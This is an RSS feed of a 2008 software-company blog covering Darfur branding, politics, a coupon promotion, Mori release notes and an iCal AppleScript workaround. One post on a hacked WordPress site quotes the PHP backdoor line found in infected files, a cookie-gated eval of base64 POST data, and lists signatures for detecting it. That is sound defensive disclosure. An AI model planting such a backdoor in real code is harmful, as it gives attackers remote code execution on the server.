<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Apokalypse Software Corp.</title>
	<atom:link href="http://apokalypsesoftware.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://apokalypsesoftware.com</link>
	<description>words from the wilderness</description>
	<pubDate>Sun, 04 May 2008 21:12:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Louis Vuitton Must Now Save the People of Darfur (Or At Least Try To)</title>
		<link>http://apokalypsesoftware.com/blog/2008/05/04/116/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/05/04/116/#comments</comments>
		<pubDate>Sun, 04 May 2008 21:10:21 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[bullies]]></category>

		<category><![CDATA[community]]></category>

		<category><![CDATA[marketing]]></category>

		<category><![CDATA[politics]]></category>

		<category><![CDATA[society]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/?p=116</guid>
		<description><![CDATA[No, Louis Vuitton must demonstrate their ability to act on behalf of the victims and those who would assist them, or acknowledge that they are incapable of effecting any change and allow their brand to be repositioned as the symbol of a lack of influence, power, scruples and/or purpose.]]></description>
			<content:encoded><![CDATA[<p>Social Marketing analyst Jeremiah Owyang has posted an <a href='http://www.web-strategist.com/blog/2008/05/04/louis-vuitton-gets-brand-jacked-victimized-in-anti-genocide-campaign-tough-spot-to-be-in/'>interesting tale</a> of <a href='http://www.nadiaplesner.com/'>artist Nadia Plesner&#8217;s</a> hijacking of <a href='http://www.louisvuitton.com/'>Louis Vuitton&#8217;s</a> luxury goods brand to help raise funds for Save Darfur&#8217;s <a href='http://www.savedarfur.org/divest'>&#8220;Divest for Darfur&#8221; campaign</a>.</p>
<p><img src='http://apokalypsesoftware.com/products/files/poster-72.png' /></p>
<p>As I wrote on Jeremiah&#8217;s blog,</p>
<blockquote><p>Luxury brands do not have the luxury of remaining silent. They are the expressiveness of the well-heeled, for whom verbalizing, “I’m richer than you.” is a sign of a lack of refinement. So LV is *required* to publicly react in this case.</p>
<p>Their best option would be to sponsor a forum in which the global community can participate and engage with the local Darfur community and any and all who are engaged in the atrocities or can act to prevent it; a forum which (it is hoped) effects a change, but in which, at the least, participants feel as if they’re doing something. After all, a brand which symbolizes wealth *and* power is able to wield quite a bit of both itself.
</p></blockquote>
<p>The real dilemma for a brand which positions itself as a symbol of wealth and prestige, is how to present its position on non-lifestyle topics. To say you represent the constituency of wealth and influence, yet are unable or unwilling to exert either for social and political issues is preposterous. To choose to remain out of the &#8220;conversation&#8221; regarding these matters is to invoke the <a href='http://ask.yahoo.com/20021122.html'>legend of Marie Antoinette</a>, who when she was told the peasants of France had no bread (according to the legend), said, &#8220;Let them eat cake.&#8221; It indicates a shallowness of character, indifference to world affairs, impotence or fear of loss, none of which can be considered admirable traits and thus worthy of public expression by the upper crust. And to be directly hostile to efforts to assist the victims of genocide is to support the perpetrators of this outrage.</p>
<p>No, Louis Vuitton must demonstrate their ability to act on behalf of the victims and those who would assist them, or acknowledge that they are incapable of effecting any change and allow their brand to be repositioned as the symbol of a lack of influence, power, scruples and/or purpose.</p>
<p>I suppose it&#8217;s fitting that Paris Hilton has become the face of Louis Vuitton.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/05/04/116/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Website was Down Due to Compromised WordPress System</title>
		<link>http://apokalypsesoftware.com/blog/2008/05/04/115/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/05/04/115/#comments</comments>
		<pubDate>Sun, 04 May 2008 17:57:47 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[community]]></category>

		<category><![CDATA[marketing]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[rant]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[website]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/?p=115</guid>
		<description><![CDATA[I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help -- I definitely will switch the blog to another system after 1.7's release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.]]></description>
			<content:encoded><![CDATA[<p>If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help &#8212; I definitely will switch the blog to another system after 1.7&#8217;s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.</p>
<p>I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there&#8217;s no evidence that the wacky WordPress system the site is now running on doesn&#8217;t have other compromised files, as well as the security holes through which the crackers originally got in.</p>
<p>Several compromised files had this line inserted at the beginning,</p>
<p><code>&lt;?php if(md5($_COOKIE['_wp_debugger'])==&#8221;5fd808ac028e5197dd69318e32407eb7&#8243;){ eval(base64_decode($_POST['file'])); exit; } ?></code></p>
<p>Others were disguised as image files, with file extensions of &#8220;pngg&#8221; and &#8220;jpgg&#8221;, and beginning with &#8220;<?/*&#8221;.</p>
<p>If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as &#8220;qwerty&#8221;, &#8220;4008deadb16536f48b84fdc70f194dac&#8221;, &#8220;find suid files&#8221;, &#8220;_wp_debugger&#8221;, &#8220;5fd808ac028e5197dd69318e32407eb7&#8243;. The signatures are sure to change, as they&#8217;re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.</p>
<p>All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/05/04/115/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Easter mEgg Hunt Coupon System is Now Working, Discount Applied to All Past Sales in This Period</title>
		<link>http://apokalypsesoftware.com/blog/2008/03/27/114/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/03/27/114/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 11:05:57 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[bugs]]></category>

		<category><![CDATA[easter megg hunt]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[promotions]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/03/27/114/</guid>
		<description><![CDATA[Because of several problems with the system, I wasn&#8217;t able to get the coupon discounts to work before. It is now up and running on our online store, and you&#8217;ll be able to receive the special discount for the Easter mEgg Hunt.

In fact, as a way of making amends for any difficulty to those who [...]]]></description>
			<content:encoded><![CDATA[<p>Because of several problems with the system, I wasn&#8217;t able to get the coupon discounts to work before. It is now up and running on our online store, and you&#8217;ll be able to receive the special discount for the Easter mEgg Hunt.</p>
<p><a href="http://easter.houdahpromo.com"><img alt="Join in the Easter mEgg Hunt!" src="http://apokalypsesoftware.com/products/files/images/mEggHunt-large.png" /></a></p>
<p>In fact, as a way of making amends for any difficulty to those who couldn&#8217;t find the easter egg coupon, I&#8217;m posting it here so you won&#8217;t be hampered by the search. Our Easter mEgg Hunt coupon code is <strong>FABERGE1842</strong>, and the last day it will remain valid is April 6, 2008.</p>
<p>And an extra in fact, I&#8217;ll be issuing refunds for all purchases made during this period at our online store in the amount of the Easter mEgg Hunt discount [Done.]. So if you haven&#8217;t received your refund by the end of this day, please let me know and I&#8217;ll correct that for you.</p>
<p>If you weren&#8217;t participating in the hunt, please do, as it&#8217;s fun to watch the eggs collect in your basket as you visit the vendors taking part. Plus, you get the same 20% discount on <strong>their</strong> products as well!</p>
<p>Now, if you&#8217;ll excuse me, I&#8217;m going to continue hibernating for the night before resuming work on Oneill (Mori 1.7) in the morning.</p>
<p>Happy (Belated) Easter and Spring Season!</p>
<p>UPDATE 2008-03-28 5:06PM EDT: And, not really. Seems my coupon system is only using the coupon once, and then I have to reset it. I&#8217;m going to work on it some more.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/03/27/114/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dear Sleazeball Politicians, We&#8217;re Taking Back Control of OUR Country, Like We&#8217;ve Been Taking Control of Our Spaces</title>
		<link>http://apokalypsesoftware.com/blog/2008/03/14/113/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/03/14/113/#comments</comments>
		<pubDate>Fri, 14 Mar 2008 21:57:31 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[community]]></category>

		<category><![CDATA[politics]]></category>

		<category><![CDATA[society]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/03/14/113/</guid>
		<description><![CDATA[For years, you and your mealy-mouthed predecessors have promised to make things work, and make things better. And for years you&#8217;ve complained that whenever you tried to fix things somebody else threw up roadblocks. &#8220;It&#8217;s the President&#8217;s fault.&#8221;, &#8220;It&#8217;s Congress&#8217; fault.&#8221;, or &#8220;It&#8217;s the lobbyists&#8217; fault.&#8221; And if only you had more time, and more [...]]]></description>
			<content:encoded><![CDATA[<p>For years, you and your mealy-mouthed predecessors have promised to make things work, and make things better. And for years you&#8217;ve complained that whenever you tried to fix things somebody else threw up roadblocks. &#8220;It&#8217;s the President&#8217;s fault.&#8221;, &#8220;It&#8217;s Congress&#8217; fault.&#8221;, or &#8220;It&#8217;s the lobbyists&#8217; fault.&#8221; And if only you had more time, and more of our money, you&#8217;d be able to fix things. But the only thing you manage to do is spend more time and spend more money and things don&#8217;t get fixed.</p>
<p>But now, we&#8217;ve discovered this thing called the Internet (it&#8217;s a <a href='http://en.wikipedia.org/wiki/Series_of_tubes'>series of tubes</a>), and while it&#8217;s been fun to share our home videos and <a href='http://www.flickr.com/photos/b0bg0d/2299127708/'>prank</a> one another, we&#8217;ve also gotten to talking with our fellow Americans. And something that keeps coming up in our conversations is that our country&#8217;s in very bad shape, and you&#8217;re not doing your job.</p>
<p>You had the budget thing tolerable for a while, but then you went and spent us back into a deficit. Then the terrorists attacked and things were really bad. But we supported you when you said we had to fight the Taliban in Afghanistan to get Osama bin Laden, but it&#8217;s been nearly eight years. For all the money you spent, why don&#8217;t you have bin Laden?</p>
<p>Then you insisted that we had to go to war with Iraq because Saddam Hussein had WMDs, but he didn&#8217;t actually have WMDs. And he went into hiding, and you found him hiding in a hole, this guy who didn&#8217;t have anything. You found him hiding in a hole, but you haven&#8217;t found bin Laden, the terrorist who funded attacks in America.</p>
<p>And it&#8217;s interesting that you aren&#8217;t willing send your own kids to fight this war that was so important to you. This war to protect U.S. interests, you said. The rest of us have lost loved ones and real Americans in our cities and hometowns, folks who give our small communities meaning and a sense of honor. You&#8217;ve given us draped coffins and broken men and women, some missing limbs, some missing their former souls, but you haven&#8217;t given us your own sons and daughters, nor have you given us bin Laden.</p>
<p>This &#8220;important&#8221; war has taken longer to finish then the Second World War, in which we fought Nazi Germany and Italy across the Atlantic, and Imperialist Japan across the Pacific. We fought three countries. Countries that had real, dedicated armies. At the same time. From an economic depression. And We won. But that&#8217;s because you weren&#8217;t in charge back then, because you can&#8217;t even beat the leftover enemies of one country that has little more than sand, and we&#8217;re paying for you to use fancy (and expensive, I might add) planes, tanks, bombs and satellites which you like to blow up. And yet you still haven&#8217;t found bin Laden.</p>
<p>And now our economy&#8217;s again in the toilet because folks don&#8217;t want our money. You give Canadians the right to buy normal, tasty thin American bacon instead of that round stuff they had to eat because their dollar was worth less, but you don&#8217;t give us bin Laden!</p>
<p>You give us airport security that hassles and harasses us, but doesn&#8217;t stop weapons from being smuggled onboard planes. You give us illegal aliens crossing our borders. You give us banks that overcharge us on fees and interest rates. You give us homes that are worth less. You give us $100/bbl oil, and $3 gas. You give us colors that tell us our phone calls can be tapped, and that we can&#8217;t take pictures of buildings because Americans are up to no good. But you still haven&#8217;t given us bin Laden.</p>
<p>Some of us made lists of things that we weren&#8217;t happy with, of how you haven&#8217;t been doing your job like you&#8217;re supposed to, and how you&#8217;re not helping anyone but yourselves and your friends. And we don&#8217;t like that at all. At first, some of us thought we just might be unusual, crackpots on the fringe of society. But the more we started having our own chats with others across this country, the more we realized we are not alone; that many others are fed up with the nonesense you&#8217;ve been pulling. And some started reminding us that when the Constitution talks about who the bosses are in this country, &#8220;We the people&#8221; are the ones it&#8217;s talking about. </p>
<p>And we&#8217;re <a href='http://scobleizer.com/2008/03/11/audience-of-twittering-assholes/'>taking charge</a> again, as you <a href='http://www.perfectporridge.com/2008/03/08/1648/'>can see</a>.</p>
<p>So the 30% of us who remembered we are the bosses are getting together with the 70% of those who forgot, or felt their votes don&#8217;t count. And we&#8217;re also coordinating a united action: come November, we&#8217;re handing you your walking papers. We won&#8217;t be coughing. We won&#8217;t be throwing sweaters. We won&#8217;t be heckling you. Come November, you&#8217;re fired.</p>
<p>The Citizens (and real bosses) of The U.S.A</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/03/14/113/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Keep Tabs on Apokalypse Software Between Blog Postings With Twitter</title>
		<link>http://apokalypsesoftware.com/blog/2008/03/10/112/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/03/10/112/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 07:48:12 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[clockwork]]></category>

		<category><![CDATA[community]]></category>

		<category><![CDATA[corporate]]></category>

		<category><![CDATA[marketing]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[twitter]]></category>

		<category><![CDATA[yourdon]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/03/10/112/</guid>
		<description><![CDATA[Just a simple reminder, if you&#8217;ve got questions or suggestions regarding any Apokalypse products, I invite you to post them at the forums if they&#8217;ll be of benefit and/or interest to the communities which use the products.
Post feature requests and bug reports so I keep track of what needs to be done to keep these [...]]]></description>
			<content:encoded><![CDATA[<p>Just a simple reminder, if you&#8217;ve got questions or suggestions regarding any Apokalypse products, I invite you to post them at the <a href='http://apokalypsesoftware.com/products/forum'>forums</a> if they&#8217;ll be of benefit and/or interest to the communities which use the products.</p>
<p>Post <a href='http://apokalypsesoftware.com/products/requests'>feature requests and bug reports</a> so I keep track of what needs to be done to keep these products relevant to the work you do. The issue tracking system even has a polling feature which allows you to vote on the most important issues for you.</p>
<p>For any communication which doesn&#8217;t apply to the community of users here, I invite you to contact me via <a href='http://apokalypsesoftware.com/products/contact'>private correspondence</a> or iChat/AIM/IRC (huperniketes).</p>
<p>However, if you just want to know what&#8217;s currently transpiring, and what&#8217;s going on in-between the lengthy times between my irregular posts (I&#8217;ve got a huge backlog of unfinished posts, I do apologize), there&#8217;s another way to see what I&#8217;m up to. That technique is through the <a href='http://twitter.com/'>Twitter</a> service.</p>
<p>Here&#8217;s a simple description of how Twitter is useful for me to keep you aware of what&#8217;s going on:<br />
<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/ddO9idmax0o"></param><embed src="http://www.youtube.com/v/ddO9idmax0o" type="application/x-shockwave-flash" width="425" height="350"></embed></object></p>
<p>Ed Yourdon, whose <a href ='http://www.amazon.com/Techniques-Program-Structure-Design-Yourdon/dp/013901702X'>Techniques of Program Structure and Design</a> revolutionized my thinking and methods in developing software, has written a <a href='http://www.yourdonreport.com/index.php/2008/03/09/the-awesomeness-of-twitter/'>great example</a> of why I use Twitter.</p>
<p>I invite you to follow <a href='http://twitter.com/huperniketes'>my tweets</a>, or those for <a href='http://twitter.com/apokalypse_mori'>Mori</a> and <a href='http://twitter.com/clockwork'>Clockwork</a> product info. I also invite you to sign up and send your own message to any of those accounts.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/03/10/112/feed/</wfw:commentRss>
		</item>
		<item>
		<title>An Urgent Mori 1.6.10 Release To Correct Bugs, and Workaround Spotlight Flaws</title>
		<link>http://apokalypsesoftware.com/blog/2008/02/27/110/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/02/27/110/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 20:54:33 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[apple]]></category>

		<category><![CDATA[bugs]]></category>

		<category><![CDATA[debugging]]></category>

		<category><![CDATA[design]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[leopard]]></category>

		<category><![CDATA[localization]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[mox]]></category>

		<category><![CDATA[rant]]></category>

		<category><![CDATA[tiger]]></category>

		<category><![CDATA[unit tests]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/02/27/110/</guid>
		<description><![CDATA[While making the changes to Mori&#8217;s code for 1.7, I encountered some oddities in test results, and it turned out there was a bug which I had introduced in an earlier release. While it doesn&#8217;t appear to endanger data in Mori notebooks, it might not return all the results you expect in a search, or [...]]]></description>
			<content:encoded><![CDATA[<p>While making the changes to Mori&#8217;s code for 1.7, I encountered some oddities in test results, and it turned out there was a bug which I had introduced in an earlier release. While it doesn&#8217;t appear to endanger data in Mori notebooks, it might not return all the results you expect in a search, or in entry summaries.</p>
<p>In addition, it has what I hope are a couple of performance improvements, continued improvements to Italian localization, and a work-around for Leopard&#8217;s insistence to treat non-Apple Spotlight metadata files as third-class citizens.</p>
<p>Normally when Spotlight discovers a file has been created or changed, it will ask the responsible program to figure out what&#8217;s inside, and feed it back to Spotlight. But one of the drawbacks to Spotlight&#8217;s design is it lacks the ability to define containers, or documents which contain logically distinct elements such as the chapters of a book, pictures in a photo album, or entries from a Mori notebook; and which can nest other containers as well. Treating a document as a single entity, Spotlight will open a document at the beginning (or maybe the place where the cursor was the last time it was open), even if what you&#8217;re looking for is somewhere near the end.</p>
<p>Because it doesn&#8217;t understand that a file can have distinct elements, the development teams for other Apple software (e.g., iPhoto, Safari, Stickies, etc.) came up with a scheme to trick Spotlight by creating new files with the data for those elements. So that&#8217;s how Jesse coded Mori&#8217;s behavior: duplicate the data for that logically distinct element in its own file. A separate copy of each element&#8217;s data in its own file. One extra file per element. That means the space taken up by your data is easily half again more than if Apple just added a container definition for Spotlight metadata (once for the notebook, another for the entry metadata file, and the third copy in Spotlight&#8217;s database).</p>
<p>But that isn&#8217;t all. While we&#8217;d like to keep all those extra files inside a notebook bundle (a directory which Finder treats as a file), because Spotlight treats a document as a single element it won&#8217;t look for those files inside the bundle. So Mori creates those files in the metadata cache folder (in your Library/Caches/Metadata folder), along with the metadata files from some of Apple&#8217;s programs. If you open the metadata folder and look at these files, you&#8217;ll see they have numbers to help Mori figure out which entry contains that data. But when you do a search using the Spotlight menu, and when you select menu item &#8216;Show All&#8217; and the results are displayed in the Finder, you won&#8217;t see the numbers; you&#8217;ll see the titles for the entries they represent.</p>
<p>Leopard however, isn&#8217;t so democratic; which is why users where complaining about the entries when Leopard was released. First off, it ignores any non-Apple metadata files in the cache folder <em>unless</em> you set your Spotlight preferences to use those files. Secondly, it will ignore the title info embedded in the entry metadata file and just display the file&#8217;s actual title, meaning the number. How&#8217;s that for Apple <strong>undermining the work of third-party developers</strong>?</p>
<p>So the workaround I came up with is to add the entry&#8217;s title (or Untitled, if it has none) at the <em>beginning</em> of the filename, so you at least have an idea which entry matches your search terms.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/02/refilename.png' alt='Spotlight Filename Workaround' /> (Thanks for wasting about a whole month total of my development time on that alone, Apple. I feel the love.)</p>
<p>I am, of course, more than happy to eat crow should I be proven to be completely mistaken or speaking from out-dated information. It&#8217;s easily worth it in order to improve the user experience.</p>
<p>Regardless of the rationale for the design decisions, <a href='http://apokalypsesoftware.com/products/files/releases/Mori-1.6.10.zip'>enjoy</a>, and thank you for being part of the community and continuing to support Mori!</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/02/27/110/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Look (Back) at Mori&#8217;s Code</title>
		<link>http://apokalypsesoftware.com/blog/2008/02/11/107/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/02/11/107/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 11:37:33 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[Xcode]]></category>

		<category><![CDATA[design]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[nostalgia]]></category>

		<category><![CDATA[refactoring]]></category>

		<category><![CDATA[scm]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[subversion]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/02/11/107/</guid>
		<description><![CDATA[When I purchased Mori, one of the first things I did was generate some documents about its codebase. For this, the main tool I used was Xcode&#8217;s Class Model tool to generate charts of the various classes involved. I spent several days laying out the classes on the charts, then printing and then folding and [...]]]></description>
			<content:encoded><![CDATA[<p>When I purchased Mori, one of the first things I did was generate some documents about its codebase. For this, the main tool I used was Xcode&#8217;s Class Model tool to generate charts of the various classes involved. I spent several days laying out the classes on the charts, then printing and then folding and taping the pages together. (This is a process which I am replacing with specific related classes that occupy only one or two pages, so I can keep them in a notebook; or sending a PDF to Kinko&#8217;s the next time I need to print the whole chart.) They helped me get an understanding of how code was laid out, and their relationships.</p>
<p>After a while, the tape that held the charts up on the wall would lose their adhesiveness and down they&#8217;d come…again and again, eventually falling into disuse. Having gotten a digital camera, I spent a day reassembling the crumpled remains of the charts about a week or so ago, and snapped a few shots which I present here.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/02/moridocclasses.jpg' alt='Mori’s Document Classes' /></p>
<p>There are 33 classes, and 25 protocols defined for the document back-end plugin, and quite a few supplementary category methods extending Cocoa&#8217;s foundation classes.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/02/mori-ui-classes.jpg' alt='Mori’s User Interface Classes' /></p>
<p>The user interface plugin has 85 classes, 18 protocols, and its own quantity of supplementary category methods.</p>
<p>At least, that&#8217;s what Mori&#8217;s classes looked like when the shots were taken. Today it looks a tad different.</p>
<p>Oneill, the branch for Mori 1.7 is under active development again and will bring substantial changes to the UI and back-end architecture. You shouldn&#8217;t notice any hiccups in the file format, but you should see better functionality and performance.</p>
<p>At least that&#8217;s what the testing support should help me do. Thankfully, I make heavy use of the <a href='http://subversion.tigris.org/'>Subversion</a> <a href='http://en.wikipedia.org/wiki/Source_Code_Management'>SCM system</a>. <em>Just in case.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/02/11/107/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Solving a New Event Bug Present in iCal When Scripting</title>
		<link>http://apokalypsesoftware.com/blog/2008/01/25/100/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/01/25/100/#comments</comments>
		<pubDate>Fri, 25 Jan 2008 16:46:44 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[AppleScript]]></category>

		<category><![CDATA[bugs]]></category>

		<category><![CDATA[code]]></category>

		<category><![CDATA[debugging]]></category>

		<category><![CDATA[iCal]]></category>

		<category><![CDATA[mgtd]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[mox]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[tiger]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/01/25/100/</guid>
		<description><![CDATA[While trying to solve a user&#8217;s problem with an mGTD script, I came across a subtle issue that demonstrates some issues that arise when violating a programming philosophy, tackling bugs in other people&#8217;s code, and general uncertainty whenever coding in AppleScript.
Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much [...]]]></description>
			<content:encoded><![CDATA[<p>While trying to solve a user&#8217;s <a href='http://apokalypsesoftware.com/products/node/2597'>problem with an mGTD script</a>, I came across a subtle issue that demonstrates some issues that arise when violating a programming philosophy, tackling bugs in other people&#8217;s code, and general uncertainty whenever coding in AppleScript.</p>
<p>Working with AppleScript is generally considered iffy, because a lot seems ambiguous and so much is dependent on how the dialect is interpreted and how scriptable apps handle some of the application events which scripting is dependent on. I&#8217;ve written scripts before, some I&#8217;m pretty awed by (that it works, actually, but also what it does), but I&#8217;m still hesitant to tackle some scripting issues. In addition, being a GTD greenhorn, and an mGTD noob made trying to respond to this issue authoritatively very questionable.</p>
<p>Thankfully, BMEGuy, mGTD&#8217;s author and all-around community nice guy, tackled the question with a quick solution. But the updated script was still problematic, and so I felt I really needed to participate in coming up with a solution.</p>
<p>Again, being an mGTD noob and all, it took me at least half an hour to figure out how the plugin worked, and the script on top of that. Then, after I was able to get the script to run, it worked for me. Hmm.</p>
<p>But that&#8217;s because I was testing with an entry with a date due of today. Once I switched it to later in the week, the entry was still showing up for today. <em>Isn&#8217;t that odd?</em> It seemed I had inadvertently left in the date line from the original script. When I removed it, I witnessed the same problem.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugweek.png' alt='Artifacts of the shy scripted event' align='left' /></p>
<p>It turns out there&#8217;s a bug in MOX 10.4.11&#8217;s iCal 2.0.5 (I&#8217;m guessing it&#8217;s present in earlier versions as well) where it doesn&#8217;t properly update the calendar display for new events made by the script. You won&#8217;t see it in the monthly view. However, you might notice a little oddness in the weekly view.</p>
<p>You can see the event if you add &#8217;show theEvent&#8217; after the script makes a new display alarm for the event (between the 2nd and 3rd &#8216;end tell&#8217; up from the bottom). This will display it&#8217;s properties in the info drawer, but you won&#8217;t see the event anywhere on the calendar (in either week or month view) until iCal is restarted.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugweekshow.png' alt='Although the event doesn't show up in the calendar, its properties are displayed in the info drawer' /></p>
<p>Running the script in monthly view doesn&#8217;t show any artifact in the calendar, but the data is shown in the info drawer.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmonthshow.png' alt='icalbugmonthshow.png' /></p>
<p>You could also run the script in the weekly view and then switch to the monthly view, in which case you get this: </p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmonthswitched.png' alt='icalbugmonthswitched.png' align='left' /></p>
<p>So now that the question of the event&#8217;s presence in the calendar was settled in my mind, I had to figure out why my faulty script displayed the event, but not the proper one; and how to coax iCal to display it.</p>
<p>Being unfamiliar with mGTD still, I tried to figure out the difference between the <var>attribute name &#8220;dateDue&#8221;</var> and <var>due date</var>. <var>due date</var> is one of the standard properties for entries in a Mori document. <var>attribute name &#8220;dateDue&#8221;</var> is a user column added in the example mGTD notebook. You can view them all the user columns by selecting the menu item <q>Edit > Edit Notebook Columns…</q></p>
<p>Okay, good so far, but why would one cause iCal to display properly and not the other? After moving the <var>due date</var> line about for a while, I checked <em>Script Editor</em>&#8217;s <cite>Event Log</cite>, and saw</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbugmissingvalue.png' alt='icalbugmissingvalue.png'/></p>
<p>The event reply for the <var>due date</var> had a <q>missing value</q>! Mori wasn&#8217;t returning a value for the <var>due date</var> property because it wasn&#8217;t set (and wouldn&#8217;t be in the example notebook). Now I had to find a way to use one of those missing values to make <var>theEvent</var> visible without setting it to the wrong date. And the problem with that is most of the properties used in Mori&#8217;s entries aren&#8217;t appropriate for an iCal event.</p>
<p>I eventually thought about re-ordering the messages to iCal instead of being so fixated on a change in the messages to Mori or playing with the properties being set in creating the event. What I came up with was a plan to use the messed up <q>missing value</q> date as before to make the event visible first, and <em>then</em> set the date correctly. The code turned out like this:</p>
<pre>
tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:faultyDate, allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		set theEvent's start date to theDate
	end tell
end tell
</pre>
<p>And to my surprise, it worked! So as I began gathering the materials together for my reply to the issue, I noticed something in the event&#8217;s info drawer that had escaped my attention before:</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/icalbughilite.png' alt='The previous script set up appointments for H. G. Wells.' align='left' /></p>
<p>iCal, that&#8217;s just crazy talk! But at least it would explain why it would display traces of an event, if anything at all; and why it wasn&#8217;t noticeable earlier: iCal would correct the event data when reading it in when it started (&#8221;iCal database, that&#8217;s just crazy talk!&#8221;). But somebody forgot to add a sanity check when creating a new event from the properties passed to it by our script. (This is an example of why the <a href='http://en.wikipedia.org/wiki/Once_and_only_once'>Once and Only Once</a> principle should be heeded. If there&#8217;s only one place where events are synthesized from pre-recorded values, whether those values are from a stored file, a script or the UI, then all those code paths will benefit from any sanity checks added to event creation.)</p>
<p>Knowing this, here&#8217;s another means of working around this bug, by sending iCal info that won&#8217;t confuse it:</p>
<pre>tell application "Mori"
	tell current entry
		set theDate to (get attribute name "dateDue")
		-- set faultyDate to due date
		set theName to name
		set theNote to note
	end tell
end tell
tell application "iCal"
	tell calendar "Scramble" -- the user should specify the name of the target calendar here
		set theEvent to make new event at end with properties {description:theNote, summary:theName, start date:theDate, end date:(theDate + 1), allday event:true}
		tell theEvent
			make new display alarm at end with properties {trigger date:theDate}
		end tell
		-- show theEvent
		-- set theEvent's start date to theDate
	end tell
end tell
</pre>
